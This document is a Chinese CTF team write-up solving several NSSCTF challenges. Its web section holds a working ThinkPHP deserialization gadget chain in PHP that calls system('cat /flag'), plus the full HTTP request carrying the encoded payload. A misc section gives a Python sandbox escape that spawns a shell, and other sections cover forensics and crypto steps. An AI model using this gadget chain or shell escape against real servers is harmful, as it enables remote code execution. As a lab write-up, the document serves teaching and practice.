namespace think\model\concern;

trait Attribute{
private $data=['jiang'=>'cat /flag'];
private $withAttr=['jiang'=>'system'];
}
trait ModelEvent{
protected $withEvent;
}

namespace think;

abstract class Model{
use model\concern\Attribute;
use model\concern\ModelEvent;
private $exists;
private $force;
private $lazySave;
protected $suffix;
function __construct($a = '')
{
$this->exists = true;
$this->force = true;
$this->lazySave = true;
$this->withEvent = false;
$this->suffix = $a;
}
}

namespace think\model;

use think\Model;

class Pivot extends Model{}

echo urlencode(serialize(new Pivot(new Pivot())));
?>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST /api/update HTTP/1.1
Host: node4.anna.nssctf.cn:28065
Content-Length: 1000
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36 Edg/122.0.0.0
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://node4.anna.nssctf.cn:28065
Referer: http://node4.anna.nssctf.cn:28065/admin/index
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: PHPSESSID=ed1a8c62688654d3c80e971dc4478867
Connection: close

data=O%3A17%3A%22think%5Cmodel%5CPivot%22%3A7%3A%7Bs%3A19%3A%22%00think%5CModel%00exists%22%3Bb%3A1%3Bs%3A18%3A%22%00think%5CModel%00force%22%3Bb%3A1%3Bs%3A21%3A%22%00think%5CModel%00lazySave%22%3Bb%3A1%3Bs%3A9%3A%22%00%2A%00suffix%22%3BO%3A17%3A%22think%5Cmodel%5CPivot%22%3A7%3A%7Bs%3A19%3A%22%00think%5CModel%00exists%22%3Bb%3A1%3Bs%3A18%3A%22%00think%5CModel%00force%22%3Bb%3A1%3Bs%3A21%3A%22%00think%5CModel%00lazySave%22%3Bb%3A1%3Bs%3A9%3A%22%00%2A%00suffix%22%3Bs%3A0%3A%22%22%3Bs%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A5%3A%22jiang%22%3Bs%3A9%3A%22cat+%2Fflag%22%3B%7Ds%3A21%3A%22%00think%5CModel%00withAttr%22%3Ba%3A1%3A%7Bs%3A5%3A%22jiang%22%3Bs%3A6%3A%22system%22%3B%7Ds%3A12%3A%22%00%2A%00withEvent%22%3Bb%3A0%3B%7Ds%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A5%3A%22jiang%22%3Bs%3A9%3A%22cat+%2Fflag%22%3B%7Ds%3A21%3A%22%00think%5CModel%00withAttr%22%3Ba%3A1%3A%7Bs%3A5%3A%22jiang%22%3Bs%3A6%3A%22system%22%3B%7Ds%3A12%3A%22%00%2A%00withEvent%22%3Bb%3A0%3B%7D

在访问api/list就可以了

MISC

real_signin

解题人:LSE
网上一搜就能搜道这些是小品的内容,再用计算机算一下md加密一下。

calc

解题人:LSE
沙箱逃逸网上能搜到
__import__('os').system('sh')
这样就可以getshell之后就ls cat /flag

是名取证

解题人:LSE
非预期了直接将内存镜像放发哦010里查flag3就查到了

佛说取证

解题人:LSE
这题我先是在AXIOM Process上找到了flag1.zip和flag2.zip。然后不知道这么导出文件就用了volatility来导出文件
volatility -f 1.vmem —profile=Win7SP1x64 filescan | grep “flag”来找出文件,就是不知道为什么我找不到flag1,所有我grep上了我之前在AXIOM Process上找到的flag1的路径
然后导出文件
volatility -f 1.vmem —profile=Win7SP1x64 dumpfiles -Q 0xxxxxxxx -D ./
导出之后发现是佛有曰是要密码的,这是我在剪切板发现了一串字符串。再以其为密钥解码佛又曰就出来了

喜欢我的手坤吗

解题人:LSE
这题我们可以再网上查一下模拟器怎么删除掉密码,会找到很多文章。对这做我们就能删除其密码。

进入手机后我们查看其相册可以发现一个网盘链接下载下来。
会得到一串以U2FsdGVkX开头的字符(一开始我以为是base64转图片结果不是)。我们再打开通讯录会发现key,将其拼接起来。再进行AES解码。得到另一长串编码,长得很像base64我们进行解码再导入到010里查看。会发现其开头为zip的文件头,我们搜索 50 4B 03 04 还有50 4B 01 02会发现其后4个字节为偶数是伪加密将其改成00就可以直接解压了。

PWN

Helloworld

解题人:LSE
直接nc连接再ls /
cat /flag

LOT

神秘的OLED情书2-起

解题:HBQ

题目让我们确定STM32的输入电压(保留1位小数并带上单位)。
上网查一下STM32的输入电压范围,发现是2.0~3.6,而只要保留一位小数,所以只有17种可能性,直接穷举法,发现3.3V是正确的flag。

Crypto

Crypto1921

解题:ZWK
在code的txt文件中,发现摩斯电码密文,将密文转化后,为一段数字用斜杆分隔成四个为一组的数字,通过查阅资料发现,该段数字可通过中文电码译为中文
由文字内容可知,事件发生坐标位置,根据单位进行换算,得到符合条件的坐标密码,可解telegram.tet文件
由文件内容得将文字由原来格式转化为中文电码,在转为摩斯电码后,经过md5加密,为最终flag压缩包的密码